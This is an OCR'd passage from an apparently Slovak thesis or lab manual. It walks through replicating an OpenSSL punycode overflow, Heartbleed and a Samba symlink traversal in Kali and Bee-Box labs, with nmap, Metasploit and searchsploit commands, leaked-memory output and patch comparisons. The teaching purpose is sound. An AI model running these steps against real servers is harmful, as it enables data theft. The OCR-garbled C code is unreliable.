if (strncmp (inptr, "xn--", 4) != 0) {
size += delta + 1;

if (size >= *outlen - 1)
result = 0;

if (result > 0) {
memcpy (outptr, inptr, delta + 1);
outptr += delta + 1;

}

for (i = 0; 1 < delta + 1; i++)
PUSHC (inptr[i]) ;

} else {
unsigned int bufsize = LABEL BUF SIZE;
unsigned int i;

if (ossl punycode decode (inptr + 4, delta - 4,
&bufsize) <= 0)
return -1;
while (1) {
for (1 = 0; 1 < bufsize; i++) {
unsigned char seed[6];
size t utfsize = codepoint2utf8(seed, buf[i]);

if (utfsize == 0)
return -1;

size += utfsize;
if (size >= *outlen - 1)
result = 0;

if (result > 0) {
memcpy (outptr, seed, utfsize);
outptr += utfsize;

buf,
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}
for (j = 0; j < utfsize; j++)
PUSHC (seed[7]) ;
}

if (tmpptr != NULL) {
*outptr = '.';
outptr++;
size++;
if (size >= *outlen - 1)
result = 0;
}
PUSHC (tmpptr != NULL ? '.' : '\0'");
}
if (tmpptr == NULL)

while (1) {

inptr = tmpptr + 1;
}
#undef PUSHC

*outlen = size;
return result;

}

Ako je mozné vidiet’ z vypisu 3.9, v kdde nastali uréité zmeny, pomocou ktorych bolo
mozné zabranit' vyskytu preteCenia vyrovnavacej paméte tejto danej zranitelnosti.

V ramci laboratornej Ulohy bolo zistené, Ze k preteCeniu vyrovnavacej paméte
dochadzalo na riadku *outptr = '.';.Z vypisuje mozné vidiet, ze pridany kod je
zelenou farbou, odstraneny (zranitel'ny) kod cervenou farbou a nezmeneny kod ciernou.

Doévod kvoli ktorému sa tato zranitelnost’ vyskytla je sposobend nedostato¢nou
kontrolou premennych v kode, avSak najzavaznejSia je nedostatocna kontrola pred
priradenim bodky. Predtym nez je bodka priradena do vyrovnavacej pamite, je premenna
size pocas kopirovania inkrementovana o jedna a nasledne dochadza este ku kontrole,

&i je vacsia alebo rovna maximalnej dizkevyrovnavacej pamite size >= *outlen

— 1. Problém nastava az vtedy, ked’ je hodnota premennej size rovna hodnote
*outlen - 1, kedy by malo dojst’ k preruseniu kopirovania a nastaveniu hodnoty
result na nulu. AvSak z kodu vo vypise 3.9 je mozné vidiet, Ze k tejto kontrole
dochadza az po priradeni bodky a tym padom sa prikaz *outptr = '.'; vykona bez
toho, aby bola overend velkost’ vyrovnavacej paméte. Tym padom z dovodu nedostatocne;j
kontroly dochadza k preteeniu vyrovnavacej paméte.

Z vypisu 3.9 je mozné vidiet’ opravenu verziu kdédu, vyznacenu zelenou farbou, Vv
ktorej uz nedochadza k vyskytu zranitelnosti. Hlavna zmena, ktora nastala, je zavedenie
takzvaného makra PUSHC (), ktoré sa Vvramci procesu pridavania znakov do
vyrovnavacej paméte stara o to, aby sa nepresiahla dana hodnota vyrovnavacej pamdite,
ktora je automaticky zistovana. Diia zmena, ktora nastala, sa tyka spracovania etikiet.
Pokial etiketa neobsahuje predponu xn--, nie je kddovana pomocou punycode a tym
padom je priamo pridavana do vyrovnavacej pamite. Ak na druht stranu etiketa obsahuje
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predponu xn--, je nasledne dekodovana, prevedenda na UTF-8 apridand do
vyrovnavacej paméte pomocou makra PUSHC (). Vytvorenie makra posliazilo
Kk bezpeénejsej a efektivnejSej manipulacii s pamétou, vd’aka comu sa podarilo odstranit’

zranitel'nost’, ktora by sposobila preteCenie vyrovnavacej pamdte.

3.1.3 Zaver

{él'om tejto laboratornej ulohy bolo vyuzit' chybu v OpenSSL, ktora sa vyskytovala vo
verziach 3.0.0 az 3.0.6. Sucast'ou bolo generovanie certifikatov. €itifikaty obsahovali
polia, vd’aka ktorym bolo mozné dospiet’ k odopretiu sluzby (DoS) servera. Na strane
servera sa vyuzivala verzia OpenSSL 3.0.6 a na strane klienta zase verzia 3.0.5. Verzia
vyuzivand klientom bola nainStalovana na virtudlnom zariadeni Windows 10 a server
verzia na virtudlnom zariadeni Kali Linux. Okrem toho, bolo mozné tak isto si vyskusat’
spravanie verzie OpenSSL, ktord uz danu zraniteI'nost’ neobsahuje. Pre overenie, Ze chyba
bola z verzie vyuzivanej serverom, konkrétne 3.0.7, uz odstranena, pouzili sa povodné
subory ca.cnf a leaf . cnf, ktoré sa zo starej verzie iba prekopirovali do novej. Diej
sa znovu vytvorili certifikaty, spustil sa server a prebehlo pripojenie klienta. Tentokrat
nedoslo k ukonceniu spojenia a tym padom ani k odopretiu sluzby servera. Zranitel'nost
sa podarilo uspesne zreplikovat’ a znazornit” pomocou vypisu 3.5: Druhy test, v ktorej
Casti kodu dochédzalo k preteCeniu vyrovnavacej paméte. Na zaver laboratornej ulohy
bol podrobne vysvetleny kod zranitelnej verzie OpenSSL 3.0.6 a porovnany s
opravenou verziou 3.0.7.
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4 LLABORATORNA ULOHA C. 2

4.1 HEARTBLEED (CVE-2014-0160)

Heartbleed je zranite'nost’ vyskytujiica sa v kniznici OpenSSL. Bola objavena v roku
2014 ajedna sa o jednu znajvaznejSich zranitelnosti v internetovej bezpecnosti.
Ovplyviiuje protokol TLS, vd’aka ktorému moéze utocnik citat’ pamit zranitenych
serverov anasledne ziskat’ citlivé informacie ako napriklad tajné klace, uzivatel'ské
mena, hesla a podobne.

Zodpovedna je za to chybne implementovana funkcia heartbeat v OpenSSL, vd’aka
ktorej je mozné obom strandm v prebiehajuicom TLS spojeni overit, Ci je druha strana
stale aktivna. Principom tejto zranitel'nosti je upravena heartbeat sprava, ktoru ito¢nik
posle a nasledne ziska citlivé informécie zo servera. Postihnuté verzie OpenSSL st od
1.0.1 po 1.0.1f [57].

4.1.1 Postup

Pre zreplikovanie tejto zranite'nosti budeme potrebovat’ dve virtualne zariadenia — Kali
Linux a OWASP Bee-Box.

Navod pre pripravu VM Bee-Box:

e Stiahnutie VM Bee-Box z tohto odkazu , popripade z disku Google.

e Extrahujeme obsah archivu.

e Vo VMware Workstation Player klikneme na moznost’ Open a Virtual Machine.

e Priddme VM z priecinka, do ktorého sme extrahovali archiv.

e Ak sa nam zobrazi hlaska z VMware Workstation Player, tak vyberieme
moznost’ | copied it.

e Otvorime nastavenie virtudlneho zariadenia a skontrolujeme, ¢i sa na prvom
mieste nachddza adaptér Bridged (Automatic) ana druhom mieste
adaptér Host-on1ly rovnako ako na obrazku 4.1 (iné poradie moze v
niektorych pripadoch robit’ problém).

e Pridame pripadny chybajici sietovy adaptér.

e Spustime Bee-Box.

e Zistime pridelenu IP adresu pomocou prikazu ip a alebo ifconfigna
rozhrani ethl.

e Otvorime si prehliada¢ Firefox a do vyhl'adavaca zadame
https://IP adresa zariadenia:8443/bWAPP/.

e Potvrdime vynimku a prejdeme na stranku.

e Prihlasime sa pomocou prihlasovacich tdajov bee a bug pre meno a heslo.

e Security level nechame nastaveny na low.
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https://sourceforge.net/projects/bwapp/
https://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z/download
https://drive.google.com/drive/folders/1jHZxfhaMZea7Eb7-5sOJbnzghnAgk2Qr?usp=drive_link

e Z menu Choose your bug vyberieme Heartbleed Vulnerability a klikneme na

hack.
Navod pre pripravu Kali:

e Otvorime nastavenie virtudlneho zariadenia a skontrolujeme, ¢i sa na prvom
mieste nachadza adaptér NAT a na druhom mieste adaptér Host-only rovnako
ako na obrazku 4.2 (iné poradie mdze v niektorych pripadoch robit’ problém).

Virtual Machine Settings

Hardware Options

Device Summary

Memary

E=EMemory 4GB

4
= Hard Disk {SCSI) 20 GE
B Network Adapter Bridged (Automatic)
S Network Adapter 2 Host-only 64 GB
[=| UsE Contraller Present T
c]i Sound Card Auto detect T
[Ipisplay Auto detect
B GE
4GB
2GE
1GE
512 MB
255 ME
128 ME
& ME
2 Me
15 ME
B MB
4 MB

Add...

Remove

Specify the amount of memory allocated to this virtual machine. The memaory
size must be & multiple of 4 MB.

Memory for this virtual machine: 4096 = MB

B Maximum recommended memary

(Memary swapping may
occur beyond this size.)

34.9GB

B Recommended memory
4GB

Guest 05 recommended minimum
2GE

Corcel ||t

Obrazok 4.1: Nastavenia virtualneho zariadenia Bee-Box.
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Virtual Machine Settings

Hardware  Qptions

. Device status
Device Summary
Ci ted
@Memory 8GE 8 Connec
-I'EF‘rocessors & n Connect at power on
== Hard Disk (SCSI) 40 GB )
(*):CD/OVD (IDE) Using file C:\Users\peteriDow. .. Cannection
" Network Adapter NAT Use physical drive:
S Network Adapter 2 Host-only Auto detect
[=|UsE Contraller Present _
£l) Sound Card Auto detect O Use 150 image fie:
[ Printer Present | C:\Users\peter\Downloadskaliinux-2023, 14nstalle - Browse...
[pisplay Auto detect
Advanced...
Add... Remove

Cancel Help
Obrizok 4.2: Nastavenia virtudlneho zariadenia Kali Linux.

Prikazy pre Kali:

Na zaciatku replikovania zranitenosti mdme na vyber dve moznosti. Prva je previest’
kompletny sken pomocou nastroju nmap apodla neho zistit' vSetky otvorené porty
a pripadné zranitel'nosti, alebo spustitt nmap priamo na port 8443. Nezabudneme
skontrolovat’ funk¢nost’ spojenia pingom medzi zariadeniami.

|$ sudo nmap -sV -A IP adresa bee-boxu |
Priblizne po 10 minatach skenovania sa ndm zobrazi vypis, z ktorého moéZeme zistit’
potrebné informacie, ako napriklad otvoreny port 8443 na ktory sa budeme zameriavat’.

Poznamka: stlacenim klaves ,,ctrl“ + ,,v* moZeme skontrolovat priebeh skenu.

[ $ sudo nmap --script vuln IP adresa bee-boxu |
Po tomto skene je mozné vidiet vSetky zname dostupné zranitelnosti, ktoré server

pontka. Po prejdeni vypisu sa zameriame na port 8443, ktory ndm ponuka zranitel'nost’
Heartbleed. Nasledne pre zneuzitie zranitelnosti pouzijeme Metasploit Framework
konzolu msfconsole.

|$ msfconsole |
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# pockame kym sa konzola nacita
$ search openssl heartbleed
$ use 0

il zeus@kali: ~
File Actions Edit View Help
msf6 > search openssl_heartbleed
Matching Modules
# Name Disclosure Date Rank Check Description
©® auxiliary/scanner/ssl/B 2014-04-07 normal Yes OpenSSL Heartbeat (Heartb
leed) Information Leak
Interact with a module by name or index. For example info @, use @ or use auxiliary/scanner/ssl/openssl_h

eartbleed

msfe > i

Obrazok 4.3: Vyhl'adavanie modulov.

Mozeme si prehliadnut’ vlastnosti pomocou prikazu show options kde vidime, ze je

potrebné spravne nastavit’ dva parametre — RHOSTS a RPORT.

$ set RHOSTS IP adresa bee-boxu
$ set RPORT 8443

Skontrolujeme spravnost’ nastavenych udajov prikazom show options. Spravne

nastavenie by malo vypadat’ podobne ako vo vypise niZsie.

Vypis 4.1: Nastavenie udajov.

Name Current Required Description
Setting
DUMPFILTER No Pattern to filter leaked memory
before storing
LEAK COUNT 1 Yes Number of times to leak memory
per SCAN or DUMP invocation
MAX KEYTRIES 50 Yes Max tries to dump key
RESPONSE TIME 10 Yes Number of seconds to wait for
OouT a server response
RHOSTS 192.168.150. Yes The target host (s), see
130 https://docs.metasploit.com/do
cs/using-

metasploit/basics/using-
metasploit.html

RPORT 8443 Yes The target port (TCP)

STATUS EVERY 5 Yes How many retries until key dump
status

THREADS 1 Yes The number of concurrent
threads (max one per host)

TLS CALLBACK None Yes Protocol to use, "None" to use

raw TLS sockets (Accepted:
None, SMTP, IMAP, JABBER, POP3,
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FTP, POSTGRES)

TLS VERSION 1.0 No TLS/SSL version to use
(Accepted: SSLv3, 1.0, 1.1,
1.2)

Ak su udaje spravne nastavené, mézeme pokracovat’ d’ale;j.
$ set action SCAN
$ run

Vypis by mal vypadat’ priblizne Vypis 4.2: Odpoved’ serveru.

Vypis 4.2: Odpoved’ serveru.

[+] 192.168.150.130:8443 - Heartbeat response with leak, 13027 bytes
[*] 192.168.150.130:8443 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Z uvedeného vypisu je mozné vidiet’, Ze server po spusteni skenovania odpovedal inikom

dat, ktoré by sa normalne tito¢nikovi nezobrazili. V pripade preskimania podrobnosti dat
je mozné pouzit’ nasledujtice prikazy.

$ set verbose true
S run

Na obrazku 4.4 a obrazku 4.5 st zobrazené data, ktoré by nemali byt uzivatel'ovi bezne

pristupné. S nimi udaje z nadviazania spojenia, certifikaty, udaje vymeny Sifrovacich
kl'a¢ov, mac adresa, session ID, IP adresa a d’al$ie. Z vypisu je mozné vidiet, Ze cela
komunikacia prebiecha na IP adrese 192.168.221.135 aporte 8443. Spravou
Server Hello server reaguje na pociatonu Ziadost’ klienta poslanim parametrov pre
nastavenie bezpecného spojenia, vratane verzie protokolu a unikdtneho identifikétora
spojenia. Vramci Server Key Exchange poskytuje server kryptografické
parametre, ktoré su potrebné pre vymenu Sifrovacich kI'icov. Ozndmenie ukoncenia
procesu handshake prebieha pomocou Server Hello Done. Pomocou certifikatov
server zasiela svoje digitalne certifikaty, ktoré umoziuji klientovi overit' totoznost’
servera. V Casti Sending Heartbeat sa testuje reakcia servera na Heartbeat spravu,
ktort sme zaslali pomocou skriptu dostupného z Metasploit Framework konzoly. Na
zaver je v Casti Heartbeat response uvedené mnozstvo udajov, ktoré uniklo zo
zranitel'ného servera.
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£ zeus@kali: ~ [ X}
File Actions Edit View Help

verbose = true
msf6 auxiliary( ) > run

192.168.150.130:8443 - Leaking heartbeat response #1

[*]

[*] 192.168.150.130:8443 - Sending Client Hello...

[*] 192.168.150.130:8443 - SSL record #1:

[*] 192.168.150.130:8443 - Type: 22

[*] 192.168.150.130:8443 - Version: 0x0301

[*] 192.168.150.130:8443 - Length: 86

[*#] 192.168.150.130:8443 - Handshake #1:

[*] 192.168.150.130:8443 - Length: 82

[*] 192.168.150.130:8443 - Type: Server Hello (2)

[*] 192.168.150.130:8443 - Server Hello Version: 0x0301

[*] 192.168.150.130:8443 - Server Hello random data: 65665ec2da820b51938f7574649bleca2
e9a0ff939274e807bfell12c26ada7c

[#] 192.168.150.130:8443 - Server Hello Session ID length: 32

[*] 192.168.150.130:8443 - Server Hello Session ID: 058cd8a572a34c01beadebed73844568d

24b100deffd15a791021acaled3fesd
[#] 192.168.150.130:8443 - SSL record #2:

[*] 192.168.150.130:8443 - Type: 22

[+] 192.168.150.130:8443 - Version: 0x0301

[*] 192.168.150.130:8443 - Length: 675

[*] 192.168.150.130:8443 - Handshake #1:

[*] 192.168.150.130:8443 - Length: 671

[*#] 192.168.150.130:8443 -~ Type: Certificate Data (11)

[*] 192.168.150.130:8443 - Certificates length: 668

[*] 192.168.150.130:8443 - Data length: 671

[*] 192.168.150.130:8443 - Certificate #1:

[*] 192.168.150.130:8443 - Certificate #1: Length: 665

[*] 192.168.150.130:8443 - Certificate #1: #<OpenSSL::X509::Certificate: subject=#<0
penSSL :: X509 :: Name emailAddress=bwapp@itsecgames.com,CN=bee-box.bwapp.local,O0U=IT,0=MME,L=Menen,ST=Flande

rs,C=BE>, issuer=#<OpenSSL::X509::Name emailAddress=bwapp@itsecgames.com,CN=bee-box.bwapp.local,0U=IT,0=M
ME, L=Menen,ST=Flanders,C=BE>, serial=#<OpenSSL::BN:0x00007f2d00892f40>, not_before=2013-04-14 18:11:32 UT
C, not_after=2018-04-13 18:11:32 UTC>

[#] 192.168.150.130:8443 - SSL record #3:

[*] 192.168.150.130:8443 - Type: 22

[+] 192.168.150.130:8443 - Version: 0x0301

Obrazok 4.4: Uniknuté data z Bee-Box serveru.

E zeus(@ kali: ~ Q
File Actions Edit View Help

[#] 192.168.221.135:8443 - Length: 4

[#] 192.168.221.135:8443 - Handshake #1:

[#] 192.168.221.135:8443 - Length: @

[#] 192.168.221.135:8443 - Type:  Server Hello Done (14)

[#] 192.168.221.135:8443 - Sending Heartbeat ...

[#] 192.168.221.135:8443 - Heartbeat response, 13027 bytes

[+] 192.168.221.135:8443 - Heartbeat response with leak, 13027 bytes

[#] 192.168.221.135:8443 - Printable info leaked:

...... L TP e AR AR » P U IR DRI OUPRPRPRR R SO - - SR O 0. S 0
/.. 4 (hardy) Firefox/3.6.17 ..Accept: text/html,applicat

10n/xhtml+xm1 application/xml;q=0.9,%/%;q=0.8 .. Accept-Language: en-us,en;q=0.5..Accept-Encoding: gzip,

deflate .. Accept-Charset: IS0-8859-1,utf-8;q=0.7,*;0=0.7 .. Keep-Alive: 115..C0nnection: keep-alive .. Refe

rer: https://192.168.221.135:8443/bWAPP/heartbleed.php..Cookie: PHPSESSID=8e02d2c8249caelc556e13956010

942d; security_level=0....:..KR..p....C..... d....6A1590D30222278442542DEC8E99280821EC2BF2E1419D5D0B22

91E1">mac-intel</device-id>.<mac-address-list>.<mac-address>9de@4354b6c3</mac-address></mac-address-1i

st>.<group-select>VPN</group-select>. <gr0up access>https://192.168.221.135:8443</group- access>. </c0nf1
g- auth> LNE.r.@IN2.Mi8cl.Khevvvvuuuun.s 'eveu J.K.E.R.F.Z...., ...
. 7. N PR {oeeenn. g....25..Q..a.8:pD ... $....7 ce. ,....0G.nnn.

[#] 192.168.221.135:8443 - Scanned 1 of 1 hosts (100% complete)
[#] Auxiliary module execution completed

Obrazok 4.5: Uniknuté data z Bee-Box serveru 2. ¢ast’.

4.1.2 Porovnanie kédu

V tejto Casti laboratérnej ulohy bude porovnany a vysvetleny zdrojovy koéd verzii
OpenSSL 1.0.1fa 1.0.2. Ciel'om bude vysvetlit', pre¢o dana zranitel'nost’ vznikla a akym
spdsobom sa ju podarilo opravit. Nevhodne implementovand funkcia sa nachadzala
vsubore t1 lib.c.
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Vypis 4.3: Ukazka kodu suboru t1_lib.c vo verzii OpenSSL 1.0.1fa 1.0.2.

int tlsl process heartbeat (SSL *s)
{
unsigned char *p = &s->s3->rrec.data[0], *pl;
unsigned short hbtype;
unsigned int payload;
unsigned int padding = 16; /* Use minimum padding */

/* Read type and payload length first */
if (1 + 2 + 16 > s->s3->rrec.length)
return 0; /* silently discard */
hbtype = *p++;
n2s (p, payload);
if (1 + 2 + payload + 16 > s->s3->rrec.length)
return 0; /* silently discard per RFC 6520 sec. 4 */

pl = p;

if (s->msg_callback)
s->msg_callback (0, s->version, TLS1 RT HEARTBEAT,
&s->s3->rrec.data[0], s->s3->rrec.length,
s, s—>msg_callback arg);

if (hbtype == TLS1 HB REQUEST) {
unsigned char *buffer, *bp;
int r;
/*

* Allocate memory for the response, size is 1 bytes* message
type,
* plus 2 bytes payload length, plus* payload, plus padding
*/
buffer = OPENSSL malloc(l + 2 + payload + padding);
bp = buffer;
/* Enter response type, length and copy payload */
*bp++ = TLS1 HB RESPONSE;
s2n (payload, bp):;
memcpy (bp, pl, payload);
bp += payload;
/* Random padding */
RAND pseudo bytes (bp, padding);

r = ssl3 write bytes(s, TLS1 RT HEARTBEAT, buffer, 3 + payload
+ padding) ;

if (r >= 0 && s->msg_callback)
s->msg_callback(l, s->version, TLS1 RT HEARTBEAT,
buffer, 3 + payload + padding,
s, s—>msg_callback arg);

OPENSSL free (buffer);

if (r < 0)
return r;
} else if (hbtype == TLS1 HB RESPONSE) {

unsigned int seqg;

/*

* We only send sequence numbers (2 bytes unsigned int), and
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16
* random bytes, so we just try to read the sequence number
Y/
n2s(pl, seq);

if (payload == 18 && seq == s->tlsext hb seq) {
s—>tlsext hb seqgt+;
s->tlsext hb pending = 0;
}

return 0;

}
Za vznik zranitelnosti Heartbleed je zodpovedny riadok memcpy (bp, pl,

payload) ; vyznaceny VO vypise 4.3. Ako uz z nazvu napovedd, jednd sa o prikaz,
ktory sluzi na kopirovanie dat. Parametre ktoré obsahuje Vv poradi, znamenaju kam sa
jednotlivé data kopiruju, odkial’ sa kopiruji, a akd je ich velkost. Z postupného
prechadzania koédu si je mozné vSimnut, ze hoci sa data v tomto konkrétnom riadku
kopiruju, nikde sa neoveruje, ¢i sa hodnoty pl a payload zhoduju. Preto ak bol
spusteny skript na dany webovy server, server odpovedal s va¢sim mnozstvom dat, ako
v skuto¢nosti mal.

Oprava zranitel'nosti prisla vo verzii 1.0.19. V tejto verzii bola pridana logika pre
overenie dizky spravy, & celkova dizka spravy nepresahuje skutoént dizku
prichadzajticich sprav. Overenie v ramci opravy nastava na dvoch miestach. Ako prvé
sa overuje, &i dana prichadzajuca sprava ma aspoit minimalnu dizku, vd’aka ktorej by
>rrec.length) return 0; Weadnsprkontiofy ¢d zahi@a + bajb pre typ>spiivy, 2
bajty pre dizku payloadu a minimalne 16 bajtov ako padding. Ak je tato hodnota vadsia
ako hodnota prichadzajucich dat s->s3->rrec.length, sprava je automaticky
zamietnuta a nebude d’alej spracovana.

V ramci druhého overenia if (1 + 2 + payload + 16 > s->s3-
>rrec.length) return O0; dochiddza ku kontrole, &i diZka ktora je deklarovana
v payloade s pridanim minimalnej dizky spravy 1 + 2 + payload + 16 uréene;
k spracovaniu  nepresahuje  skutoéna  dizku  prichadzajucich dat s->s3-
>rrec.length. V pripade prili§ velkej dizku payloadu sa spréva taktiez automaticky
zamietne a nebude d’alej spracovana.

4.1.3 Zaver

Ciel'om tejto laboratdrnej ulohy bolo zreplikovat’ zraniteI'nost’, ktora sa nachadza v jednej
Z kniznic OpenSSL. Tato zranitel'nost’ postihovala vSetky verzie OpenSSL od 1.0.1 az po
1.0.1f. Oprava prisla vo verzii 1.0.1g. Tato zraniteI'nost’ umoznovala po spusteni skriptu
zaslat’ to¢nikovi viac dat zo serveru, ako malo byt normalne mozné. Medzi datami je
mozné pozorovat napriklad udaje z certifikatu, alebo aj tzv. session ID. V tejto
laboratérnej ulohe sa pouZivali dve virtualne zariadenia, ktorymi su Kali Linux a Bee-
Box zaloZzeny na Ubuntu. Zranitelnost’ sa podarilo uspesne zreplikovat’ s vyuzitim
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skriptu, ktory sa nachddza v databaze Metasploit Framework konzoly. V zavere
laboratérnej tlohy bol podrobne vysvetleny kod zranitelnej verzie OpenSSL 1.0.1f
a porovnany s opravenou verziou 1.0.2, v ktorej uz nedochadzalo k vyskytu tejto

zranitel'nosti.

57



5 LABORATORNA ULOHA C. 3

5.1 Prechadzanie adresarov (CVE-2010-0926)

Uvedena zranitel'nost’, inak zndma aj ako Samba symbolicky odkazovy prechod (Samba
Symlink Traversal), sa tyka Samba servera. Samba je softvér sltiziaci na siet'ové zdiel'anie
stiborov a tla¢iarni medzi opera¢nymi systémami, ku ktorym patria napriklad aj Linux,
Unix ¢i Windows. Tato chyba umoziiovala vzdialenym autentifikovanym uZivatel'om
vyuzit' chybu v spracovani symbolickych odkazov (symlink) v zékladnej konfiguracii
Samby. Toto nespravne spracovanie odkazov umoznovalo pristupovat k 'ubovolnym
suborom v systéme. Dana zranitelnost’ postihuje niekol'ko verzii Samby, pricom
najcastejsie sa jedna o verzie pred verziou 3.5.0rc3. V tejto laboratornej tilohe je vyuzita
verzia 3.0.28a [59]Chyba! Nenasiel sa Ziaden zdroj odkazov..

Podla vyhladavaca Shodan, je k decembru 2023 evidovanych takmer 1243 000
serverov, ktoré vyuzivajii Sambu. Z toho priblizne 4 800 serverov sa nachadza v Ceskej
republike, avsak niektoré z nich stale vyuZzivaji zastarané a zranitelné verzie, ¢o by
mohlo mat’ v budicnosti vazny dopad na tnik citlivych dat.

5.1.1 Postup

Pre zreplikovanie tejto zranite'nosti budeme potrebovat’ dve virtualne zariadenia — Kali
Linux a OWASP Bee-Box.

Navod pre pripravu VM Bee-Box:

e Stiahnutie VM Bee-Box z tohto odkazu , popripade z disku Google.

e Extrahujeme obsah archivu.

e Vo VMware Workstation Player klikneme na moznost’ Open a Virtual Machine.

e Priddme VM z priecinka, do ktorého sme extrahovali archiv.

e Ak nam vyskoci hlaSka ¥ Mware Workstation Player, tak vyberieme moZznost’ |
copied it.

e Otvorime nastavenie virtudlneho zariadenia a skontrolujeme, ¢i sa na prvom
mieste nachddza adaptér Bridged (Automatic) ana druhom mieste
adaptér Host-on1ly rovnako ako na obrazku 5.2 nizsie (iné poradie moze v
niektorych pripadoch robit’ problém).

e Pridame pripadny chybajici sietovy adaptér.

e Spustime Bee-Box.

e Zistime pridelenu IP adresu pomocou prikazu ip a alebo ifconfigna
rozhrani ethl.

e Otvorime si prehliada¢ Firefox a do vyhl'adavaca zadame
https://IP adresa zariadenia/bWAPP/
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https://sourceforge.net/projects/bwapp/
https://sourceforge.net/projects/bwapp/files/bee-box/bee-box_v1.6.7z/download
https://drive.google.com/drive/folders/1jHZxfhaMZea7Eb7-5sOJbnzghnAgk2Qr?usp=drive_link

e Potvrdime vynimku a prejdeme na stranku.

e Prihlasime sa pomocou prihlasovacich tdajov bee a bug pre meno a heslo.

e Security level nechame nastaveny na low.

e Z menu Choose your bug vyberieme Arbitrary File Access (Samba) a klikneme
na hack, rovnako ako na obrazku 5.1.

Poznamka: v pripade nasledujucich ndzornych obrazkov je IP adresa Bee-Box
zariadenia 192.168.150.13

£7) BWA

¢

File Edit View History Bookmarks Tools Help

=] - @ %8 [ [http/192.168.150.130/bWAPP/sm_samba.php b~ [~ a
{ ¥ bWAPP - Security Misconfiguration l i <
Choose your bug
- lArbitrary File Access (Samba) :l | Hack

Set your «;ecur'rl-y level:

an extremely buggy web =2

Bugs Chanae Password Create User Set Securi+y Level Reset Credits Bloa

/ Ar'laH'rar'Y Fie Access (Samba) /

The Samba server is configured insecurely, it allows an attacker to read or write arbitrary files! (bee-box only)

HINT: defacement is possible...

bWAPP is licensed under [@) ev-ne-no | € 2014 MME BVBA / Folow

on Twitter ond ask For ocur cheat sheet, ccnmmnj al

Done -

Obrézok 5.1: Vol'ba zraniteI'nosti a tiroven zabezpecenia.

Virtual Machine Settings

Hardware Qptions

Device Summary F ST
Spedify the amount of memory allocated to this virtual machine. The memory
4GB size must be a multiple of 4 MB.
4
[\ Hard Disk (SCST) 20 GB Memory for this virtual machine: 4096 = MB
S Network Adapter Bridged (Automatic)
o Network Adapter 2 Host-only 4GB
=] UsE Controller Present 3 cE -
£l Sound Card Auto detect 1668
[Tpisplay Auto detect 2GR B Maximum recommended memory

Obrazok 5.2: Nastavenia virtualneho zariadenia Bee-Box.
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Navod pre pripravu Kali:
e Otvorime nastavenie virtudlneho zariadenia a skontrolujeme, ¢i sa na prvom
mieste nachadza adaptér NAT a na druhom mieste adaptér Host-only rovnako
ako na obrazku 5.3 (iné poradie mézZe v niektorych pripadoch robit problém).

Virtual Machine Settings

Hardware  Options

Device Summary Device status
E=IMemory 3GB 8 Connected

5 n Connect at power on
[—Hard Disk (SCSI) 40 GB
(%):CD/DVD (IDE) Using fiie Ciiljsersipeteribon... |~ Connection
S Network Adapter NAT Use physical drive:
S Netwark Adapter 2 Host-only Autn detact
[=|USE Contraller Present
o Sound Card Auto detect © Use 150 image file:
(=1 Printer Present | Ci'\Wsers\peter \DownloadskaliHinux-2023, Linstalle -~ Browse...
[pisplay Auto detect

Advanced...

Obrizok 5.3: Nastavenia virtudlneho zariadenia Kali Linux.

Prikazy pre Kali:

Pred samotnym replikovanim za¢neme s tym, Ze si overime otvorené porty na strane
serveru. Vieme ze protokol Samba beZi na portoch 139 a 445. Zameriame sa prave
preto na tieto porty. M6zeme vyuzit’ nasledujuci prikaz:

| $ sudo nmap -sV -p 139,445 IP adresa bee-boxu |

root@kali: ~

File Actions Edit View Help

E(root@ kali)-[~]
# nmap 139,445 192.168.150.130
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-12 15:07 CET
Nmap scan report for 192.168.150.130
Host is up (@.00045s latency).

PORT STATE SERVICE VERSION

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSECGAMES)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: ITSECGAMES)
MAC Address: @0:0C:29:B3:4A:2F (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Mmap done: 1 IP address (1 host up) scanned in 11.45 seconds

(root® kali)-[~]
y

Obrazok 5.4: Sken portov 139 a 445.

Nasledne po zisteni, Ze dané dva porty su otvorené, zistime konkrétnu verziu
Samby, ktora na serveri bezi, pomocou prikazu nizsie.

| $ enum4linux IP adresa bee-boxu |
Tento prikaz nam poskytne rozne informdcie, vratane zdielanych priecinkov,

uzivatelov, tlaciarni ale taktiez aj verziu Samby, ktord je vyuzivani. Vypis bude
podobny ako na obrazku 5.5. Zameriame sa na pole Got OS info for IP_adresa_bee-
boxu from srvinfo.
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root@kali: ~

File Actions Edit View Help

Can't get 05 info with smbclient

BEE-BOX Wk Sv PrQ Unx NT SNT bee-box server (Samba 3.0.28a)
platform_id H 500

0s version H 4.9

server type H Bx809a03

index: @x1 RID: @x1f5 acb: 0x00000010 Account: nobody Name: nobody Desc: (null)
index: @x2 RID: @xbb8 ach: 0xPP@ROO10 Account: bee Name: bee,,, Desc: (null)

user:[nobody] rid:[@x1f5]
user:[bee] rid:[@xbbg]

Obrazok 5.5: Vypis ziskanych informécii zo serveru so Sambou.

Z uvedeného vypisu sme zistili niekol’ko informacii, vratane aktudlne vyuzivanej
verzie Samby a to konkrétne 3.0.28a. Vieme Ze pritomnost’ tejto zraniteInosti sa
nachadza vo vacsine verzii pred 3.5.0rc3. Mame teda niekol’ko moznosti ako d’alej
pokracovat. Mozeme napriklad ndjst’ verejné skripty zamerané na prechadzanie
adresarov a postupovat’ pomocou nich, alebo sktisime najst’ vhodné skripty pomocou
prikazu searchsploit, ktory je dostupny v Kali Linux.

|$ searchsploit samba directory traversal

root@kali: ~

File Actions Edit View Help

L—froat@ kali)-[~]

3 samba directory traversal

Exploit Title | Path
Samba 3.4.5 - Symlink Directory Traversal | linux/remote/33599.txt
samba 3.4.5 - Symlink Directory Traversal (Metasploit) | linux/remote/33598.rb

Shellcodes: No Results

Obrazok 5.6: Vypis prikazu searchsploit.

Prikaz searchsploit nam ponukol na vyber skript s nazvom Symlink Directory
Traversal (Metasploit), ¢o znamena, Ze sa nachadza v databaze Metasploit
Framework konzoly. Hoci je pri nom uvedena verzia 3.4.5, mozeme tento skript
pouzit' aj na naSu verziu 3.0.28a, ked’Ze je tato konkrétna zranitelnost’ pritomna
Vv pripade obidvoch verzii a skript bude pre naSe potreby bez problémov fungovat'.
Nasledne pomocou série prikazov nizsie spustime Metasploit Framework konzolu,
